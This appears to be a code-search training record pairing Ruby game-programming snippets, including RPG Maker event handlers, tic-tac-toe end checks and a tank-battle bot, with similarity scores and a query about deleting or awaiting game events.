"def rect_to_rect_tech_demo\n x = 460\n\n outputs.labels << small_label(x, 17.5, \"Click inside the red box below.\") # label with instructions\n red_box = [460, 250, 355, 90, 170, 0, 0] # definition of the red box\n outputs.borders << red_box # output as a border (not filled in)\n\n # If the mouse is clicked inside the red box, two collision boxes are created.\n if inputs.mouse.click\n if inputs.mouse.click.point.inside_rect? red_box\n if !state.box_collision_one # if the collision_one box does not yet have a definition\n # Subtracts 25 from the x and y positions of the click point in order to make the click point the center of the box.\n # You can try deleting the subtraction to see how it impacts the box placement.\n state.box_collision_one = [inputs.mouse.click.point.x - 25, inputs.mouse.click.point.y - 25, 50, 50, 180, 0, 0, 180] # sets definition\n elsif !state.box_collision_two # if collision_two does not yet have a definition\n state.box_collision_two = [inputs.mouse.click.point.x - 25, inputs.mouse.click.point.y - 25, 50, 50, 0, 0, 180, 180] # sets definition\n else\n state.box_collision_one = nil # both boxes are empty\n state.box_collision_two = nil\n end\n end\n end\n\n # If collision boxes exist, they are output onto screen inside the red box as solids\n if state.box_collision_one\n outputs.solids << state.box_collision_one\n end\n\n if state.box_collision_two\n outputs.solids << state.box_collision_two\n end\n\n # Outputs whether or not the two collision boxes intersect.\n if state.box_collision_one && state.box_collision_two # if both collision_boxes are defined (and not nil or empty)\n if state.box_collision_one.intersect_rect? state.box_collision_two # if the two boxes intersect\n outputs.labels << small_label(x, 23.5, 'The boxes intersect.')\n else # otherwise, if the two boxes do not intersect\n outputs.labels << small_label(x, 23.5, 'The boxes do not intersect.')\n end\n else\n outputs.labels << small_label(x, 23.5, '--') # if the two boxes are not defined (are nil or empty), this label is output\n end\n end",
"def game_over\n @scene.window.cursor = true\n x = 0\n y = @scene.height * 0.3\n x1 = 0\n x2 = @scene.width\n y1 = @scene.height * 0.3\n y2 = @scene.height * 0.6\n draw_window(x, y, x1, x2, y1, y2, @game_over_img)\n\n load_gm_btns unless @no_button && @yes_button\n\n @no_button.draw\n @yes_button.draw\n end",
"def check_player_leave_event\n check_event_trigger_before([5])\n end",
"def over? \n if draw?\n return true\n elsif won?\n return true\n end\n end",
"def pbLedge(xOffset,yOffset)\n if PBTerrain.isLedge?(Kernel.pbFacingTerrainTag)\n if Kernel.pbJumpToward(2,true)\n $scene.spriteset.addUserAnimation(DUST_ANIMATION_ID,$game_player.x,$game_player.y,true)\n $game_player.increase_steps\n $game_player.check_event_trigger_here([1,2])\n end\n return true\n end\n return false\nend",
"def area_clicked(leftX, topY, rightX, bottomY)\r\n# complete this code\r\nend",
"def player_turn\n hit_loop(@player)\n end",
"def pbLedge(xOffset,yOffset)\n if PBTerrain.isLedge?(Kernel.pbFacingTerrainTag)\n if Kernel.pbJumpToward(2,true)\n $scene.spriteset.addUserAnimation(DUST_ANIMATION_ID,$game_player.x,$game_player.y,true,1)\n $game_player.increase_steps\n $game_player.check_event_trigger_here([1,2])\n end\n return true\n end\n return false\nend",
"def over?\n won? || draw?\n end",
"def over?\n won? || draw?\n end",
"def over?\n draw? || won?\n end",
"def over?\n draw? || won?\n end",
"def calc_player\n state.player.x += state.player.dx # changes x based on dx (change in x)\n state.player.y += state.player.dy # changes y based on dy (change in y)\n\n state.player.dx *= 0.9 # scales dx down\n state.player.dy *= 0.9 # scales dy down\n\n # Compares player's x to 1280 to find lesser value, then compares result to 0 to find greater value.\n # This ensures that the player remains within the screen's scope.\n state.player.x = state.player.x.lesser(1280).greater(0)\n state.player.y = state.player.y.lesser(720).greater(0) # same with player's y\n end",
"def event_at(x, y)\n result = $game_map.event_id_xy(x, y)\n return result if result > 0\n return 0 if $game_player.x == x && $game_player.y == y\n return -1\n end",
"def events_xy_rect_nt(x, y, rect)\r\r\n @events.values.select {|event| event.pos_rect_nt?(x, y, rect) }\r\r\n end",
"def over?\n if won? || draw? || full?\n true\n end\n end",
"def opponent?(pos, color)\n return false unless in_bounds?(pos)\n return false if self[pos].empty?\n self[pos].color != color\n end",
"def check_opponent_has_center()\n\t\t\tposition = 2\n\t\treturn position\n\tend",
"def check_opponent_has_center()\n\t\t\tposition = 2\n\t\treturn position\n\tend",
"def Winner?(player)\r\n end",
"def draw?\n !won? && full? \n end",
"def check_event_trigger_touch(x, y)\r\r\n return if $game_map.interpreter.running?\r\r\n if @trigger == 2 && $game_player.pos_rect?(x, y, $game_player.collision_rect)\r\r\n start if !jumping? && normal_priority?\r\r\n end\r\r\n end",
"def verticalWin? (player)\n (0..6).any? {|c| (0..2).any? {|r| fourFromTowards?(player, r, c, 1, 0)}}\n end",
"def over?\r\n won? || draw?\r\n end",
"def over?\n draw? || won?\n end",
"def sorrounded?\n enemies_around > 2\n end",
"def checkWithinBoundaries?(player)\n # Is this necessary (abs'ing for range)\n lat = self.latitude\n long = self.longitude\n lat2 = self.latitude2\n long2 = self.longitude2\n\n if !player.positioned?\n return false\n end\n\n if (lat > lat2)\n temp = lat2\n lat2 = lat\n lat = temp\n end\n\n if (long > long2)\n temp = long2\n long2 = long\n long = temp\n end\n \n if (player.lat >= lat && player.lat <= lat2) && (player.long >= long && player.long <= long2)\n return true\n else\n return false\n end\n end",
"def update\n return false unless @active\n nu_x, nu_y = @x, @y\n if Input.repeat?(Input::RIGHT)\n nu_x += 1 \n elsif Input.repeat?(Input::LEFT)\n nu_x -= 1 \n elsif Input.repeat?(Input::DOWN)\n nu_y += 1 \n elsif Input.repeat?(Input::UP)\n nu_y -= 1 \n end\n #check if moved and not moved outside the map\n if (nu_x != @x or nu_y != @y) and $game_map.valid?(nu_x, nu_y)\n moveto( nu_x, nu_y)\n Sound.play_cursor\n return true\n end\n return false\n end",
"def under_mouse?\n @window.mouse_x > x - PADDING and @window.mouse_x < x + WIDTH + PADDING and\n @window.mouse_y > y - PADDING and @window.mouse_y < y + height + PADDING\n end",
"def over?\n won? || draw? || full?\n end",
"def over?\n won? || draw? || full?\n end",
"def over?\n won? || draw? || full?\n end",
"def hit?(target)\n return if hide?\n return unless @disp_x && @disp_y\n SDL::CollisionMap.bounding_box_check(@disp_x, @disp_y, w, h, target.x, target.y, 1, 1)\n end",
"def shoot_at (player, x, y)\n\t\tplayer.board.grid[x][y].hit!\n\tend",
"def tick events\n @outerlimit = (battlefield_width + battlefield_height) * 3\n #print \"mode=#{@mode},stage=#{@stage},dir=#{@dir},walldir=#{@walldir}\\n\"\n #print \"at (#{x},#{y}) at time #{time},res=#{@trk_res}\\n\"\n #mode nil is startup and initialize variables\n #STDOUT.flush\n # ###########\n # # Sensors\n # ###########\n @since_evade += 1\n @sincehit += 1\n @sincehit = 0 if not events['got_hit'].empty?\n events['got_hit'].each{|e| @hit_filter += e.first}\n @hit_filter *= 0.99\n if events['robot_scanned'].empty?\n @sinceblip += 1\n @closest = @outerlimit\n #print\"\\n\" \n else\n @closest = events['robot_scanned'].collect{|e| e.first}.sort.first\n @sinceblip = 0\n #print \",blip=#{@closest}\\n\"\n end\n # ###########\n # # High level logic - state machine\n # ###########\n #print \"sincehit=#{@sincehit},closest=#{@closest},range=#{@range}\\n\"\n #mode 0 is orient tank\n if @mode == 0\n @stage = 0\n @range = @outerlimit\n @mode = 1 if aimrad(@dir*90)\n #mode 1 find range of nearest target\n elsif @mode == 1\n #setup radar for a scan\n if @stage==0\n aimrad(@dir*90 + 180,60,1)\n @range = min(@range,@closest)\n @stage +=1\n #continue around for full circle\n elsif @stage == 1\n @range = min(@range,@closest)\n if aimrad(@dir*90,60,1)\n #did we see a bot?\n if @range == @outerlimit\n @stage = 0 \n else\n @mode = 2\n @stage = 0\n end\n end\n end\n #mode 2: find the nearestbot\n elsif @mode == 2\n #start next circle to re find the closest bot\n if @stage == 0\n #print \"range is #{@range}\\n\"\n aimrad(@dir*90 + 180,60,1)\n @stage +=1\n #continue scan for the closest bot\n elsif @stage == 1\n #print \"dir=#{@dir},angle=#{radar_heading}, closest=#{@closest}\\n\"\n if @closest < @range * 1.25\n @range = @closest\n @mode = 3\n @stage = 0\n @tangle = radar_heading\n #print \"found target at angle #{@tangle}\\n\"\n #if we finished the scan, and didn't find close target, recompute range\n elsif aimrad(@dir*90,60,1)\n @mode = 0\n @stage =0\n end\n end\n #mode 3 is tracking bot\n elsif @mode == 3\n #entry from previous mode, determine whether to scan ccw or cw\n if @stage == 0\n @trk_dir,@trk_res,@stage = -1,4,2\n #first scan in this direction\n elsif @stage == 1\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = -@trk_dir\n @trk_res = max(@trk_res - 1,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n else\n @stage = 2\n end\n #second scan in this direction\n elsif @stage == 2\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = -@trk_dir\n @trk_res = max(@trk_res - 1,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n @stage = 1\n else\n @trk_dir = -@trk_dir\n @trk_res = min(@trk_res + 2,4)\n @stage = 3\n end\n #the target bot has moved out of our window, expand the window\n elsif @stage == 3\n if @closest < @range * 1.25\n @range = @closest\n @trk_dir = - @trk_dir\n @trk_res = max(@trk_res - 2,0)\n @mytrack.add(x,y,@radar_heading, @range , time) if @trk_res < 3\n @stage = 1\n elsif @trk_res < 6\n @trk_dir = - @trk_dir\n @trk_res = @trk_res +1\n else\n #we lost our target, reaquire from scratch\n @mode = 0\n @stage = 0\n end\n end\n @tangle += @@ScanRes[@trk_res] * @trk_dir\n aimrad(@tangle)\n #print\"tangle=#{@tangle}, res=#{@@ScanRes[@trk_res]}, rot=#{@trk_dir}\\n\"\n elsif @mode == 4\n #determine which corner to go to from a corner\n if @stage == 0\n @stage += 1 if aimrad(@dir*90 + 95*@walldir)\n #first scan in direction of prev corner\n elsif @stage == 1\n aimrad(@dir*90 + 60*@walldir)\n @stage += 1\n #save count of robots in next corner, and swing radar to previous corner\n elsif @stage == 2\n @prevCorner = events['robot_scanned'].size\n aimrad(@dir*90 + 30*@walldir)\n @stage += 1\n elsif @stage == 3\n aimrad(@dir*90 -5*@walldir)\n @stage += 1\n elsif @stage == 4\n @nextCorner = events['robot_scanned'].size\n #print \"next corner=#{@nextCorner}, prev corner=#{@prevCorner}\\n\"\n if @nextCorner > @prevCorner\n @dir = (@dir + @walldir)%4\n @walldir *= -1\n end\n @stage = 0\n @mode = 0\n end\n elsif @mode == 5\n #determine which corner to go to from middle of wall\n if @stage == 0\n @stage += 1 if aimrad(@dir*90 - 5*@walldir)\n #first scan in direction of prev corner\n elsif @stage == 1\n aimrad(@dir*90 + 30*@walldir)\n @stage += 1\n #save count of robots in next corner, and swing radar to previous corner\n elsif @stage == 2\n @nextCorner = events['robot_scanned'].size\n aimrad(@dir*90 + 150*@walldir)\n @stage += 1\n elsif @stage == 3\n @stage += 1 \n aimrad(@dir*90 -150*@walldir)\n elsif @stage == 4\n aimrad(@dir*90 -185*@walldir)\n @stage += 1\n elsif @stage == 5 \n @prevCorner = events['robot_scanned'].size\n #print \"next corner=#{@nextCorner}, prev corner=#{@prevCorner}\\n\"\n if @nextCorner > @prevCorner\n @dir = (@dir + 2)%4\n @walldir *= -1\n end\n @stage = 0\n @mode = 0\n end\n end\n #compute the distances to the four walls\n walls = [battlefield_width - x,y,x,battlefield_height - y]\n #hug the wall, if we are slightly off the wall, than move back to the wall\n toleftwall,torightwall = walls[(@dir+1)%4],walls[(@dir-1)%4]\n #print \"wallroom left=#{toleftwall}, right=#{torightwall}\\n\"\n if toleftwall > 80 and toleftwall < 200\n aimtank(@dir * 90 + 20)\n elsif torightwall > 80 and torightwall < 200\n aimtank(@dir * 90 - 20)\n else\n aimtank(@dir * 90)\n end\n #If we reach a corner or wall, turn towards farthest corner on this wall\n if walls[@dir] < 100\n if toleftwall > torightwall\n @walldir = 1 #we are now going ccw\n @dir = (@dir+1)%4 # turn ccw\n #print \"turn left\\n\" \n else\n @walldir = -1 #we are now going cw\n @dir = (@dir-1)%4 #turn cw\n #print \"turn right\\n\" \n end\n #don't check corners at T junction\n if toleftwall > 100 and torightwall > 100\n @mode = 5 # determin weather it is safer ahead or behind\n @stage = 0\n else\n @mode = 4 # determin if previous corner was safer\n @stage = 0\n end\n #If we are getting hammered, turn now to evade damage\n # once we evade, avoid making another evasive manuver or we will turn in circles\n elsif @hit_filter > 400 and @since_evade > 100\n @dir = (@dir+@walldir)%4\n @hit_filter = 0\n @since_evade = 0\n end\n accelerate 1\n aim = @mytrack.predict(x,y,time) || (@dir * 90)%360\n aimgun(aim)\n fire 0.1\n doturns #we already computed our turns, now execute them\n STDOUT.flush\n end",
"def map_passable_rect?(x, y, d, rect)\r\r\n $game_map.passable_rect?(x, y, d, rect)\r\r\n end",
"def inside?(x, y)\n x >= 0 && x < @width && y >= 0 && y < @height\n end",
"def check_batevent_trigger\n return if @active_battler == nil\n for event in $game_system.battle_events.values\n if [0,1,2].include?(event.trigger) #on player touch or event touch\n if event.at_xy_coord(@active_battler.x, @active_battler.y)\n if event.list.size > 0\n event.start unless event.starting\n return\n end\n end\n end\n end\n end",
"def collision_rect\r\r\n return @collisionbox\r\r\n end",
"def draw?\n !won? && full?\n end",
"def over?\n won? || full? || draw?\n end",
"def check_event_trigger_here(triggers)\n persona_check_event_trigger_here(triggers)\n $persona.set_transparent($game_player.screen_x > 450) if $persona != nil\n end",
"def over?\n draw? || won? || full?\nend"
] |
[
"0.67386544",
"0.6657943",
"0.6456209",
"0.64166856",
"0.61822844",
"0.61503327",
"0.61353695",
"0.6100163",
"0.6041976",
"0.60358363",
"0.6006808",
"0.600609",
"0.59700865",
"0.59470993",
"0.59283006",
"0.59061223",
"0.5899723",
"0.58703464",
"0.5866658",
"0.58552366",
"0.5825863",
"0.5811994",
"0.57965493",
"0.57964075",
"0.5774796",
"0.5769975",
"0.5751345",
"0.5741234",
"0.5716006",
"0.5710223",
"0.5710223",
"0.57041246",
"0.56938636",
"0.56816006",
"0.56677604",
"0.5667645",
"0.5667149",
"0.5660338",
"0.56561035",
"0.56478196",
"0.56454575",
"0.56436306",
"0.5643205",
"0.56419253",
"0.5639407",
"0.5628137",
"0.5626385",
"0.56255925",
"0.5622983",
"0.5622732",
"0.56169707",
"0.56168395",
"0.5613358",
"0.5609171",
"0.5609171",
"0.5604687",
"0.55993235",
"0.5596737",
"0.5592733",
"0.5590905",
"0.55892235",
"0.5578593",
"0.5574033",
"0.55695605",
"0.55673826",
"0.5560446",
"0.5560446",
"0.5556065",
"0.5556065",
"0.5550383",
"0.5550089",
"0.55489784",
"0.55459636",
"0.55453736",
"0.5536338",
"0.5536338",
"0.5535406",
"0.5531444",
"0.5526762",
"0.5524085",
"0.55210614",
"0.5520789",
"0.5516686",
"0.55130816",
"0.55044365",
"0.5498024",
"0.54972404",
"0.54972404",
"0.54972404",
"0.5495164",
"0.5493296",
"0.5490675",
"0.548746",
"0.5486991",
"0.5476301",
"0.54698807",
"0.54692656",
"0.5462144",
"0.54582965",
"0.5458246"
] |
0.74727374
|
0
|
Delete the current event forever
|
def delete_this_event_forever
$env.set_event_delete_state(@event_id)
$game_map.events[@event_id]&.erase
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def gcdelete_event\n cal_event = Event.find_by(gamecall_tag: self.id)\n cal_event.destroy if cal_event\n end",
"def delete\n MoxiworksPlatform::Event.delete(self.to_hash)\n end",
"def destroy\r\n @event.destroy\r\n end",
"def purge\n i = 0\n debug \"Purge events on GCal... \"\n g_cal.events_all.each do |e|\n next if e.status == 'cancelled'\n debug \"Delete: #{e}\"\n e.delete\n i += 1\n end\n debug \"Done. #{i} event(s) deleted.\"\n i\n end",
"def destroy\n @event.destroy\n end",
"def destroy\n @event.destroy\n end",
"def destroy\n @event.destroy\n end",
"def destroy_event_any(id)\n return unless !(ev = @events[id]).nil?\n EventSpawn.clean_self_switches(id)\n ev.set_intp_repr_ev(0)\n \n ev.erase # to hide the graphic\n \n if persistants = $game_system.persistent_events[@map_id]\n persistants.each_with_index{ |ev, i|\n if ev.id == id\n persistants.delete_at(i)\n break\n end\n }\n end\n \n @spawned_event_ids.delete(id) # delete from array\n @events.delete(id) # \" \" hash\n \n refresh\n end",
"def destroy\n @clock_event.destroy\n end",
"def reset!\n @events = nil\n end",
"def future_single_events_cleanup\n self.single_events.rule_based_in_future.each do |single_event|\n single_event.delete unless schedule.occurs_at? single_event.occurrence\n end\n end",
"def delete\n @thread.exit\n end",
"def remove\n \t@watcher.remove(@event, @prok)\n end",
"def clear_gevent\r\n @num_of_suspend = 0\r\n @proc_queue.clear\r\n end",
"def quit_on_delete!\n on_delete do\n quit\n end\n end",
"def destroy\n @event.delay.call_notification(I18n.t('Notification.event_deleted'), I18n.t('Email.event_deleted'))\n @event.destroy\n head :no_content\n end",
"def destroy\n @event.destroy\n \n head :no_content\n end",
"def clear_all!\n @events = {}\n end",
"def entryEvicted(event)\n @engine.destroy_client(event.key)\n end",
"def clear_events() \n while (Gtk.events_pending?)\n Gtk.main_iteration\n end\nend",
"def delete_event(args)\n this_event = get_event_object(args)\n remove_event(this_event)\n end",
"def next_event\n @queue.pop\n end",
"def reset\n @events = []\n end",
"def destroy\n @event.destroy\n\n head :no_content\n end",
"def destroy\n @event.destroy\n\n head :no_content\n end",
"def destroy\n @event.destroy\n\n head :no_content\n end",
"def remove message\n @events.delete message.sequence\n end",
"def clean_temp_evs_helper\n @spawned_event_ids.each{|id| @events.delete(id) unless @events[id].persistent}\n @spawned_event_ids = []\n end",
"def clear_common_event\r\n @common_event_id = 0\r\n end",
"def unevent(name)\n Events.remove(name)\n end",
"def remove_event(event)\n key = event.key\n @queue.delete(key)\n @updated_keys.delete(key)\n end",
"def destroy!\r\n ret = nil\r\n if self.status == :old\r\n ret = @srv.delete(self.feed, self.to_s) \r\n raise EventDeleteFailed, \"Not Deleted\" unless ret.code == \"200\"\r\n else\r\n raise EventDeleteFailed, \"Not Saved\"\r\n end\r\n status = :deleted\r\n end",
"def clear_common_event\n @common_event_id = 0\n end",
"def destroy(event)\n @delete_is_ok &&= event.destroy\n end",
"def once(event, &block)\n add_listener(event) do |*args, &callback|\n block.call(*args, &callback)\n :delete\n end\n end",
"def unset(event)\n key[:schedule].zrem event\n end",
"def destroy\n kill\n reset\n end",
"def pop_event!(name = nil)\n return false unless dir.exist?\n\n list = local_events_with_name(name)\n return false if list.empty?\n\n ev_file = list.max\n File.unlink(ev_file)\n ev_file.basename.to_s\n end",
"def disposing(ev)\n end",
"def removeSolvent\n @solvents = nil\n end",
"def clear_baicheng_event\n BaichengEvent.find_by_design(self.id).try(:destroy_all)\n end",
"def clear!\n begin\n @trigger << \"c\"\n rescue IOError\n Thread.current.purge_interrupt_queue if Thread.current.respond_to? :purge_interrupt_queue\n end\n end",
"def remove_event(event)\n @events.delete(event)\n end",
"def pop\n @events.pop\n end",
"def destroy\n event&.destroy\n render json: { message: 'Event Deleted!' }\n end",
"def remove\n if @removed\n # raise \"event #{@event} already removed\"\n puts \"event #{@event} already removed\"\n return\n end\n\n if DEBUG && RUBY_PLATFORM == 'opal'\n @@all_events.delete(self) if @@all_events\n\n `window.total_listeners -= 1;`\n `console.log(\"Rem\", window.total_listeners);`\n end\n\n\n @removed = true\n @klass.remove_listener(@event, self)\n\n # We need to clear these references to free the memory\n @scope_provider = nil\n @callback = nil\n # @klass2 = @klass\n @klass = nil\n # @event = nil\n\n end",
"def after_destroy(event)\r\n expire_cache_for(event)\r\n end",
"def destroy\n\t\t@event.destroy\n\t\tredirect_to action: :index\n\tend",
"def destroy\n event = Event.find(params[:id])\n event.destroy!\n end",
"def reset\n @thread.kill if @thread.is_a? Thread\n @thread = nil\n\n # Remove all pending events from the queue.\n @event_queue.pop_each { |event| self.cancel( event ) } if @event_queue\n end",
"def delete_event(event)\n notifications = \"sendNotifications=#{event.send_notifications?}\"\n send_events_request(\"/#{event.id}?#{notifications}\", :delete)\n end",
"def destroy_events\n @events.destroy_all\n end",
"def remove_temporary_spawned_events\n return if @spawned_event_ids.nil?\n clean_self_switches\n clean_temp_evs_helper\n need_refresh = true\n end",
"def delete_event(event)\n @connection.send(Addressable::URI.parse(events_url + \"/#{event.id}\"), :delete)\n end",
"def delete_polling_thread(key); end",
"def after_destroy(event)\n expire_cache_for(event)\n end",
"def after_destroy(event)\n expire_cache_for(event)\n end",
"def no_more_events!\n @ws.close\n end",
"def destroy\n @event = Event.find(params[:id])\n @event.destroy\n end",
"def destroy\n @event = Event.find(params[:id])\n @event.destroy\n end",
"def delete_event(id)\n @event_svc.delete(id)\n end",
"def nuke\n self.open_graph_event.destroy unless self.open_graph_event.nil?\n self.teamsheet_entries.destroy_all\n self.messages.destroy_all\n self.activity_items.destroy_all\n self.result.destroy unless self.result.nil?\n self.destroy\n end",
"def clear\n loop do\n @data.each { |key, val|\n if val['time'] <= Time.now.to_i\n @data.delete(key) \n p 'Remove: ' + key\n end\n }\n\n sleep(5) \n end\n end",
"def kill_when_ended\n\n [] # no effect\n end",
"def delete(obj)\n @events.each do |lists|\n lists.delete(obj)\n end\n end",
"def shutdown\n fail EventQueueDeadError, 'event queue already dead' if @dead\n\n @mutex.lock\n begin\n queue = @queue\n @queue.clear\n @dead = true\n ensure\n @mutex.unlock rescue nil\n end\n while(!queue.empty?)\n Logger.debug \"Discarded message: #{queue.pop}\"\n end\n true\n end",
"def clear\n @now.clear\n @next.clear\n end",
"def remove_one_event(event)\n client.execute(\n :api_method => calendar.events.delete,\n :parameters => {:calendarId => calendar_id, :eventId => event['id']})\n end",
"def destroy\n\t\t@event = Event.find(params[:id])\n\t\t@event.destroy\n\t\tredirect_to root_path\n\tend",
"def delete!\n clear!\n delete\n end",
"def destroy\n #@event_event.destroy\n @event_event.deleted = true\n dest = @event_event.id\n type = 7 #event_notifications_code\n Notification.clear_notifications(type,dest)\n @event_event.save\n @event_event.user.remove_event\n respond_to do |format|\n format.html { redirect_to admin_event_events_url, notice: 'Event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def cleanup_expired_events\n cleanup_script(keys: @event_list.key, argv: expires_at)\n end",
"def purge!\n @data = nil\n end",
"def purge!\n @data = nil\n end",
"def gc!\n delete_if { |key, s| s.expired? }\n end",
"def destroy\n @dia_evento.destroy\n end",
"def destroy\n event.events_songs.each do |e|\n e.destroy\n end\n event.destroy\n redirect_to events_url\n end",
"def destroy\n # Elimina un evento\n @event.destroy\n\n redirect_to group_path(uuid: @group.uuid)\n end",
"def destroy\n unless @disconnecting\n send_command 'QUIT'\n end\n\n unless @caps == nil\n @caps.destroy\n @caps = nil\n end\n\n Events.delete_for self\n end",
"def clear_db()\n ScraperWiki.sqliteexecute('DELETE FROM event')\nend",
"def clear_db()\n ScraperWiki.sqliteexecute('DELETE FROM event')\nend",
"def clear!\n begin\n @trigger << \"c\"\n rescue IOError\n end\n end",
"def delete\n trap_exception { delete! }\n end",
"def destroy\n @event_configurations.destroy\n head :no_content\n end",
"def delete_all_events\n doc = {}\n attach_user_id doc\n attach_storage_id doc\n\n Event.delete_all(doc)\n end",
"def destroy\n # Google API DELETE request\n @service.delete_event(\"primary\", @task.google_id)\n @task.destroy\n end",
"def purge_interrupt_queue; end",
"def purge_interrupt_queue; end",
"def destroy\n @event = Event.find_by_id(params[:id])\n #if params[:delete_all] == 'true'\n # @event.event_series.destroy\n \n #elsif params[:delete_all] == 'future'\n # @events = @event.event_series.events.find(:all, :conditions => [\"start_time > '#{@event.start_time.to_formatted_s(:db)}' \"])\n # @event.event_series.events.delete(@events)\n \n #else\n # @event.destroy\n # redirect_to '/events'\n #end\n\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @event.destroy\n set_event_unique_active Event.first\n respond_to do |format|\n format.html { redirect_to team_events_url, notice: 'Event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def clear!\n Thread.current[LOCAL_KEY] = nil\n end",
"def destroy\n @transferred_event_order.destroy\n end",
"def destroyed(event)\n self.state = nil if event.target.data[:id] == state\n refresh\n end",
"def delete_event(event_id)\n\t\tself.event_list.delete(event_id)\n\t\tself.update_attribute(:event_list, self.event_list)\n\t\tself.notification_list.delete_if do |notif|\n\t\t\tnotif.has_key?(:event) && notif[:event] == event_id\n\t\tend\n\tend",
"def delete\n self.class.active.delete(@id.to_i)\n unless @id.nil?\n RedisRecord.redis.del self.class::SCOPE.to_s + ':' + @id.to_s\n yield\n end\n reset\n end",
"def clear!\n Goalkeeper.redis.del(key)\n end",
"def clear\n\t\trequest = Packet.create_request('stdapi_sys_eventlog_clear')\n\n\t\trequest.add_tlv(TLV_TYPE_EVENT_HANDLE, self.handle);\n\n\t\tresponse = client.send_request(request)\n\t\treturn self\n\tend",
"def off(event_name)\n events.delete(event_name.to_sym)\n end",
"def reset\r\n Ragweed::Wrap32::reset_event(@h)\r\n end",
"def destroy\n @event.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end"
] |
[
"0.70878845",
"0.7075776",
"0.6887765",
"0.6740551",
"0.6656339",
"0.6656339",
"0.6656339",
"0.6639906",
"0.6573895",
"0.6548764",
"0.6521256",
"0.6423632",
"0.6387505",
"0.638528",
"0.63606566",
"0.63352406",
"0.6332292",
"0.63229036",
"0.63029516",
"0.6264226",
"0.6249685",
"0.624742",
"0.62416416",
"0.6224741",
"0.6224741",
"0.6224741",
"0.62128764",
"0.62073916",
"0.61876816",
"0.61866224",
"0.6167058",
"0.61527896",
"0.6140578",
"0.6134915",
"0.61170584",
"0.6103288",
"0.6091029",
"0.6090352",
"0.60780656",
"0.60691506",
"0.60572153",
"0.6051258",
"0.6050952",
"0.6031698",
"0.6030916",
"0.60171217",
"0.5988453",
"0.5970337",
"0.59581405",
"0.59538966",
"0.59523565",
"0.5951207",
"0.59373397",
"0.5935332",
"0.5924925",
"0.5924811",
"0.5924811",
"0.5907362",
"0.58910954",
"0.58910954",
"0.58875555",
"0.58848226",
"0.588281",
"0.58591694",
"0.5854674",
"0.5851897",
"0.58506066",
"0.5845216",
"0.5838981",
"0.5834949",
"0.5825493",
"0.5822455",
"0.58186346",
"0.58186346",
"0.58044416",
"0.5794625",
"0.5785943",
"0.5785796",
"0.57840073",
"0.57788646",
"0.57788646",
"0.57726663",
"0.57709455",
"0.57697576",
"0.57684803",
"0.57633775",
"0.5762763",
"0.5762763",
"0.57564574",
"0.5731226",
"0.57252145",
"0.5724606",
"0.5714395",
"0.5709028",
"0.5708535",
"0.5705744",
"0.570454",
"0.56902975",
"0.5687782",
"0.5687601"
] |
0.8512633
|
0
|
Wait for the end of the movement of this particular character
|
def wait_character_move_completion(event_id = @event_id)
@move_route_waiting = true
@move_route_waiting_id = event_id
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def wait_for_player\n wait_character_move_completion 0\n end",
"def update\n if button_down? Gosu::Button::KbEscape then\n do_exit\n end\n if @waiting then\n @waiting = @waiting - (Gosu::milliseconds - @time)\n @time = Gosu::milliseconds\n if @waiting.to_i <= 0 then\n @waiting = nil\n advance\n end\n return\n end\n @script.advance\n end",
"def wait_user_input\n self.pause = true\n until Input.trigger?(:A) || (Mouse.trigger?(:left) && simple_mouse_in?) || stop_message_process?\n message_update_processing\n end\n $game_system.se_play($data_system.cursor_se)\n self.pause = false\n end",
"def move_to_end\n @cursor = @text.length # put cursor outside of text\n end",
"def move_to_end\n @cursor = @text.length # put cursor outside of text\n end",
"def update\n if @last_move != nil\n if button_down?(Gosu::KbRight) || button_down?(Gosu::KbLeft) || button_down?(Gosu::KbUp) || button_down?(Gosu::KbDown)\n if Gosu::milliseconds - @last_move_time > 90\n @last_move_time = Gosu::milliseconds\n @game.state.command(@last_move)\n end\n else\n @last_move = nil\n end\n end\n end",
"def cursor_down\n $game_system.se_play($data_system.cursor_se)\n $game_troop.enemies.size.times do\n @index += 1\n @index %= $game_troop.enemies.size\n break if self.enemy.exist?\n end\n end",
"def cursor_move_to_end\n @cursor_position = @text.scan(/./m).size\n self.reset_cursor_blinking\n end",
"def cursor_up\n $game_system.se_play($data_system.cursor_se)\n $game_troop.enemies.size.times do\n @index += $game_troop.enemies.size - 1\n @index %= $game_troop.enemies.size\n break if self.enemy.exist?\n end\n end",
"def end_sequence\n next_anim_index\n @finish = @anim_index == 0\n if temporary_phase? && @finish\n self.force_change_battle_phase(:idle)\n end\n Fiber.yield while @finish && !loop? \n # Forever wait if finished and not loop\n end",
"def wait_internal\n Graphics.update\n Input.update\n if Input.triggerex?(0x43) && Input.triggerex?(0x11) # CTRL + C\n raise ConsoleInterrupt\n end\n end",
"def actor_wait_phase \n @wait_pic.update\n if Input.trigger?(Input::B)\n #reset actor direction to original direction\n @active_battler.set_direction(@wait_pic.initial_dir)\n exit_wait_phase\n actor_menu_open\n \n elsif Input.trigger?(Input::C)\n @active_battler.set_wait\n check_batevent_trigger\n deactivate_battler\n exit_wait_phase \n next_actor if !@ATB_Active\n end\n end",
"def finish\n\t\t@frame = @frame + 1\n\t\tdone = false\n\t\tif @frame % 120 == 0 \n\t\t\tdone = !@dialogueText.next\n\t\tend\n\t\tif done\n\t\t\t@frame = 0\n\t\t\t@nextGameState = @map\n\t\telse\n\t\t\t@dialogueText.draw\n\t\tend\n\tend",
"def wait_until_cursor_at(row, column)\n platform.wait_until_cursor_at(row, column)\n end",
"def update\n space.fall(self) if should_fall?\n move\n end",
